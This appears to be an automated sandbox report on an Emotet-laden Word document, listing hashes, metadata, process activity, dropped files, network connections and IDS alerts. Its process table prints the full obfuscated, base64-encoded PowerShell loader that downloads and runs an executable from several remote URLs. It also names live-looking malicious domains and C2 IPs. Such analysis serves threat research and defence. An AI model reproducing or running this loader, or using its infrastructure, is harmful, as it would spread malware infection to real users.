| File name: | PTD-080120 ZGO-082920.doc |
| Full analysis: | https://app.any.run/tasks/42d19597-d17c-4e8e-bd7f-3bb1558d3c9d |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | August 29, 2020, 10:17:36 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Perferendis., Author: Marie Gaillard, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Sat Aug 29 00:30:00 2020, Last Saved Time/Date: Sat Aug 29 00:30:00 2020, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0 |
| MD5: | 21B3A9B03027779DC3070481A468B211 |
| SHA1: | 6CBAADCE0D5E96E9183D01363E26EA7FE8C6CC62 |
| SHA256: | 7DC9821A27CBC29BDDB4BB3C708AAD0B24A82D9BEB1A2DF9CAEABF7EA6BD8E06 |
| SSDEEP: | 3072:P7Yy0u8YGgjv+ZvchmkHcI/o1/Vb6//////////////////////////////////E:10uXnWFchmmcI/o1/NO5j4nwKz7Oc |
MALICIOUS
Application was dropped or rewritten from another process
- rasser.exe (PID: 3612)
- Y85mi4vtd.exe (PID: 3232)
EMOTET was detected
- rasser.exe (PID: 3612)
Connects to CnC server
- rasser.exe (PID: 3612)
Changes the autorun value in the registry
- rasser.exe (PID: 3612)
SUSPICIOUS
Executed via WMI
- powersheLL.exe (PID: 2384)
Creates files in the user directory
- powersheLL.exe (PID: 2384)
Executable content was dropped or overwritten
- Y85mi4vtd.exe (PID: 3232)
- powersheLL.exe (PID: 2384)
PowerShell script executed
- powersheLL.exe (PID: 2384)
Reads Internet Cache Settings
- rasser.exe (PID: 3612)
Connects to server without host name
- rasser.exe (PID: 3612)
Starts itself from another location
- Y85mi4vtd.exe (PID: 3232)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2912)
Creates files in the user directory
- WINWORD.EXE (PID: 2912)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Perferendis. |
|---|---|
| Subject: | - |
| Author: | Marie Gaillard |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:08:28 23:30:00 |
| ModifyDate: | 2020:08:28 23:30:00 |
| Pages: | 1 |
| Words: | 4 |
| Characters: | 23 |
| Security: | None |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 26 |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CodePage: | Unicode UTF-16, little endian |
| LocaleIndicator: | 1033 |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
43
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2384 | powersheLL -e JABXAHQAdQByADAAOQAxAD0AKAAoACcAUQAnACsAJwBkAHgAJwApACsAKAAnADEAOQBtACcAKwAnADkAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AVgA6AHQARQBNAHAAXAB3AE8AUgBEAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABkAGkAUgBlAEMAVABvAHIAeQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBgAGUAQwB1AFIASQBgAFQAWQBQAFIAbwBgAFQATwBDAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKwAoACcALAAnACsAJwAgAHQAbAAnACkAKwAoACcAcwAnACsAJwAxADEALAAgAHQAbAAnACkAKwAnAHMAJwApADsAJABHAHkANAA3AF8ANABkACAAPQAgACgAKAAnAFkAJwArACcAOAA1AG0AaQA0AHYAJwApACsAJwB0AGQAJwApADsAJABLAHgAZgBmAHQAaQB5AD0AKAAoACcAUgAnACsAJwBvADEAJwApACsAKAAnADkAbwAnACsAJwBsADYAJwApACkAOwAkAEcAdgA1AHkAaAAzAG4APQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAoACcAdQByACcAKwAnADEAdwBvAHIAJwArACcAZAAnACkAKwAoACcAdQAnACsAJwByADEAJwArACcAMgAwADEAOQAnACkAKwAoACcAdQAnACsAJwByADEAJwApACkALQByAEUAcABsAEEAQwBFACgAWwBDAGgAYQBSAF0AMQAxADcAKwBbAEMAaABhAFIAXQAxADEANAArAFsAQwBoAGEAUgBdADQAOQApACwAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEcAeQA0ADcAXwA0AGQAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABCAGQAZgB4AGUAOAAxAD0AKAAnAFkAZAAnACsAKAAnAF8AMgBwACcAKwAnAGMAJwApACsAJwA5ACcAKQA7ACQARQBuAGkAYwA5AGIAcgA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAGwASQBFAG4AdAA7ACQASABxADAAeQBsADAAYgA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvAHEAJwApACsAKAAnAHMAdAAnACsAJwByAGkAJwApACsAJwBkAGUAJwArACcALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AJwApACsAKAAnAGkAbQBnAC8AJwArACcAMAAvACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvAHQAcwBrACcAKwAnAGcAJwApACsAKAAnAGUAYQByAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuAHQAJwArACcAZQBuACcAKwAoACcAdAAvACcAKwAnAHUAcAAnACkAKwAnAGwAJwArACcAbwBhACcAKwAnAGQAcwAnACsAKAAnAC8AMgAnACsAJwAwACcAKQArACgAJwAxADUAJwArACcALwAwADYALwBwACcAKwAnAHoALwAqACcAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwACcAKwAnADoALwAvAHYAZQAnACkAKwAoACcAcgBtAGEAcwAnACsAJwBpACcAKQArACcAeQBhACcAKwAnAGEAaAAnACsAKAAnAGkALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwAnACsAJwBjACcAKwAnAGcAaQAtAGIAaQAnACsAJwBuAC8AJwApACsAKAAnADgALwAqACcAKwAnAGgAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAHcAdwAnACkAKwAoACcAdwAuAHcAJwArACcAZQAnACkAKwAoACcAYgBsACcAKwAnAGEAYgBvAHIAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAJwAuAGIAJwArACcAcgAvACcAKwAoACcAYQAnACsAJwB2AGkAcwAnACkAKwAnAG8AcwAnACsAKAAnAC8AJwArACcAUQBJACcAKwAnAFUAOQAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACgAJwB2AGkAbgAnACsAJwBpAGMAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBzAHIAYQBuAGcAZQAnACkAKwAoACcAbAAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGUAJwArACcAeAAnACkAKwAoACcAcABlAHIAJwArACcAaQAnACsAJwBtACcAKwAnAGUAbgB0AGEAJwApACsAKAAnAGwALwBWAEkAaABNACcAKwAnAGgAMQAnACsAJwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACcALwAnACsAJwAvACcAKwAnAHcAZQBzAHQAdgBhAGMAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwAC0AJwArACcAYwBvACcAKQArACcAbgB0ACcAKwAnAGUAJwArACcAbgAnACsAJwB0AC8AJwArACgAJwBHACcAKwAnAE8AWQB4AC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB2ACcAKQArACgAJwBpAGUAJwArACcAdwAnACkAKwAoACcAYQBsAGwAJwArACcALgAnACkAKwAnAGUAJwArACcAdQAnACsAKAAnAC8AYwBnAGkALQAnACsAJwBiACcAKQArACcAaQBuACcAKwAoACcALwBTAGIAaAAnACsAJwBaAFAAJwApACsAJwA5AFgAJwArACcALwAnACkALgAiAFMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBiAHQAZAB2AHEAdgA9ACgAKAAnAEIAJwArACcAMQB5AHUAJwApACsAKAAnAGcAJwArACcAYQB0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQQAzADcAcwA4AGsAcAAgAGkAbgAgACQASABxADAAeQBsADAAYgApAHsAdAByAHkAewAkAEUAbgBpAGMAOQBiAHIALgAiAEQAbwB3AG4AYABMAGAAbwBgAEEAZABmAEkATABFACIAKAAkAEEAMwA3AHMAOABrAHAALAAgACQARwB2ADUAeQBoADMAbgApADsAJABNAGYAMgBzAG4AcgA0AD0AKAAoACcAWAAnACsAJwBqAGkAcABpACcAKQArACcAOQAnACsAJwA0ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABHAHYANQB5AGgAMwBuACkALgAiAGwAYABlAG4ARwBgAFQASAAiACAALQBnAGUAIAAzADEAOQA5ADcAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQARwB2ADUAeQBoADMAbgApADsAJABSAHUAbgA0ADMAdAB3AD0AKAAoACcAVAB2AG8AagAnACsAJwBnACcAKQArACcAMQA4ACcAKQA7AGIAcgBlAGEAawA7ACQATQBqAGoAbABxAHkAOQA9ACgAJwBBACcAKwAoACcAZwBsACcAKwAnAGkAJwApACsAKAAnAGYAJwArACcAZwBlACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAGUAcwByAGYAegAxAD0AKAAnAEQAXwAnACsAJwB4ACcAKwAoACcANwAnACsAJwBvAGoAMgAnACkAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2912 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\PTD-080120 ZGO-082920.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3232 | "C:\Users\admin\AppData\Local\Temp\word\2019\Y85mi4vtd.exe" | C:\Users\admin\AppData\Local\Temp\word\2019\Y85mi4vtd.exe | powersheLL.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: TestDigitalControl Microsoft Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 3612 | "C:\Users\admin\AppData\Local\wmdmps\rasser.exe" | C:\Users\admin\AppData\Local\wmdmps\rasser.exe | Y85mi4vtd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: TestDigitalControl Microsoft Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
Total events
2 177
Read events
1 333
Write events
694
Delete events
150
Modification events
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 2c |
Value: 32632000600B0000010000000000000000000000 | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2912) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
2
Text files
2
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRBB2.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFF437E729F7F818B2.TMP | — | |
MD5:— | SHA256:— | |||
| 2384 | powersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PKA7MQLVDO85KWZ4W4PQ.temp | — | |
MD5:— | SHA256:— | |||
| 2912 | WINWORD.EXE | C:\Users\admin\Desktop\~$D-080120 ZGO-082920.doc | pgc | |
MD5:— | SHA256:— | |||
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\PTD-080120 ZGO-082920.doc.LNK | lnk | |
MD5:— | SHA256:— | |||
| 2384 | powersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2912 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2384 | powersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF151e6e.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
3
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3612 | rasser.exe | POST | — | 67.68.210.95:80 | http://67.68.210.95/HX8tpawYAxLaiFMTGa1/1dG3m5wmqVifrhsZXsG/ | CA | — | — | malicious |
2384 | powersheLL.exe | GET | 200 | 198.100.45.154:80 | http://qstride.com/img/0/ | US | executable | 848 Kb | malicious |
3612 | rasser.exe | POST | 200 | 162.241.242.173:8080 | http://162.241.242.173:8080/rrw9hSjo/uZZBDaZ3Xzgkr1QYHz/5YPkhOAZTD8Svv/ | US | binary | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2384 | powersheLL.exe | 198.100.45.154:80 | qstride.com | A2 Hosting, Inc. | US | suspicious |
3612 | rasser.exe | 67.68.210.95:80 | — | Bell Canada | CA | malicious |
3612 | rasser.exe | 162.241.242.173:8080 | — | CyrusOne LLC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
qstride.com |
| malicious |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2384 | powersheLL.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2384 | powersheLL.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2384 | powersheLL.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3612 | rasser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Emotet |
3612 | rasser.exe | Potentially Bad Traffic | ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 |
3612 | rasser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Emotet |
3612 | rasser.exe | Potentially Bad Traffic | ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 |
2 ETPRO signatures available at the full report